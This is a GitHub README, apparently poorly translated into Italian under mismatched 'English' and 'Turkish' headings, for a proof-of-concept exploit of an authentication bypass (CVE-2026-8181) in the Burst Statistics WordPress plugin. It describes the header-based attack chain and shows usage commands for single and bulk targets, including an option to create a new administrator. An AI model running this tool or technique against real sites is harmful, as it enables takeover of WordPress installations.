CVE-2026-8181

**EN:** PoC controllato e brevi note tecniche per **test di sicurezza autorizzati** del bypass dell'autenticazione in **Burst Statistics**.

**TR:** PoC controllato e breve riassunto tecnico per test di sicurezza autorizzati del bypass dell'autenticazione nel plugin Burst Statistics.

Panoramica del progetto

Inglese

Nota: Il numero di 200.000+ installazioni attive su WordPress.org rappresenta l'intera base utenti del plugin — non significa che ogni sito esegua una versione vulnerabile. L'impatto reale richiede la verifica di versione + ambiente (disponibilità di HTTP / password dell'applicazione, ecc.).

Turco

Nota: Il numero di 200.000+ installazioni attive su WordPress.org rappresenta l'intera base utenti del plugin; non significa che tutti i siti usino una versione vulnerabile. Per l'impatto reale vanno verificati versione + ambiente (HTTP, idoneità della password dell'applicazione, ecc.).

Elementi visivi / Immagini della documentazione

Inglese

GitHub Flavored Markdown non incorpora GIF binarie senza un file nel repository. I frammenti Typing SVG qui sopra (CDN) simulano l'animazione. Per aggiungere una tua cattura dello schermo:

![Lab demo](https://raw.githubusercontent.com/murrez/cve-2026-8181/HEAD/assets/demo.gif)

Turco

GitHub Markdown non supporta l'incorporamento di GIF senza un file nel repository. I Typing SVG qui sopra (CDN) forniscono un'animazione di testo. Per la tua demo:

![Lab demo](https://raw.githubusercontent.com/murrez/cve-2026-8181/HEAD/assets/demo.gif)

Catena d'attacco (Mermaid)

Inglese — etichette del diagramma

flowchart LR
  A[Client request] --> B[X-BURSTMAINWP: 1]
  A --> C[Authorization: Basic]
  B --> D[plugins_loaded]
  D --> E[is_mainwp_authenticated]
  E --> F{wp_authenticate_application_password == null?}
  F -->|Mis-handled branch| G[get_user_by login]
  G --> H[wp_set_current_user]
  H --> I[REST: full admin context]

Turco — stesso flusso

flowchart LR
  A[İstek] --> B[X-BURSTMAINWP: 1]
  A --> C[Authorization: Basic]
  B --> D[plugins_loaded]
  D --> E[is_mainwp_authenticated]
  E --> F{wp_authenticate_application_password == null?}
  F -->|Yanlış dal| G[get_user_by login]
  G --> H[wp_set_current_user]
  H --> I[REST: tam admin bağlamı]

Funzionalità dello strumento

Inglese

Con -f, -o e --output-dir si escludono a vicenda.

Turco

In modalità -f, -o e --output-dir non possono essere usati insieme.

Installazione

pip3 install requests urllib3

Esempi di utilizzo

Inglese

# Single site, report file
python3 CVE-2026-8181.py -u http://lab.local -U admin -o report.txt -k

# Single site + new admin (lab)
python3 CVE-2026-8181.py -u http://lab.local -U admin --create-user -o report.txt -k

# Bulk + combined file (successes only)
python3 CVE-2026-8181.py -f targets.txt -j 20 -o successes.txt -k

# Bulk + per-host files in folder (successes only)
python3 CVE-2026-8181.py -f targets.txt -j 20 --output-dir ./results -k

Turco

# Tek site, rapor
python3 CVE-2026-8181.py -u http://lab.local -U admin -o sonuc.txt -k

# Tek site + yeni yönetici (lab)
python3 CVE-2026-8181.py -u http://lab.local -U admin --create-user -o sonuc.txt -k

# Çoklu + birleşik dosya (yalnızca başarılılar)
python3 CVE-2026-8181.py -f targets.txt -j 20 -o basarili.txt -k

# Çoklu + klasörde site başına dosya (yalnızca başarılılar)
python3 CVE-2026-8181.py -f targets.txt -j 20 --output-dir ./results -k

Campo Password: vuoto

Inglese

Un bypass riuscito non rivela la password reale dell'utente vittima — la password Basic nel PoC è finta. La riga Password: rimane vuota a meno che --create-user non abbia creato un account nuovo (in tal caso viene scritta la password generata).

Turco

Un bypass riuscito non divulga la password reale dell'utente esistente — la password Basic nel PoC è falsa. La riga Password: resta vuota finché --create-user non crea un account nuovo; in tal caso viene scritta la password generata.

Riferimenti

Inglese

• Burst Statistics — Directory dei plugin di WordPress
• Spesso citati nella divulgazione coordinata: Wordfence Threat Intelligence, PRISM
• CVE: MITRE CVE-2026-8181 · NVD

Turco

• Burst Statistics — Directory dei plugin di WordPress
• Spesso citati nella divulgazione coordinata: Wordfence Threat Intelligence, PRISM
• CVE: MITRE CVE-2026-8181 · NVD

Disclaimer / Esclusione di responsabilità

Inglese

Esclusivamente per valutazioni autorizzate per iscritto e per il tuo laboratorio. L'uso non autorizzato è illegale in molte giurisdizioni. Gli autori e il manutentore di questo README non si assumono alcuna responsabilità per un uso improprio.

Turco

Per valutazioni autorizzate per iscritto e il proprio laboratorio. L'uso non autorizzato è illegale in molti paesi. Gli autori e il curatore di questo README non sono responsabili dell'uso improprio.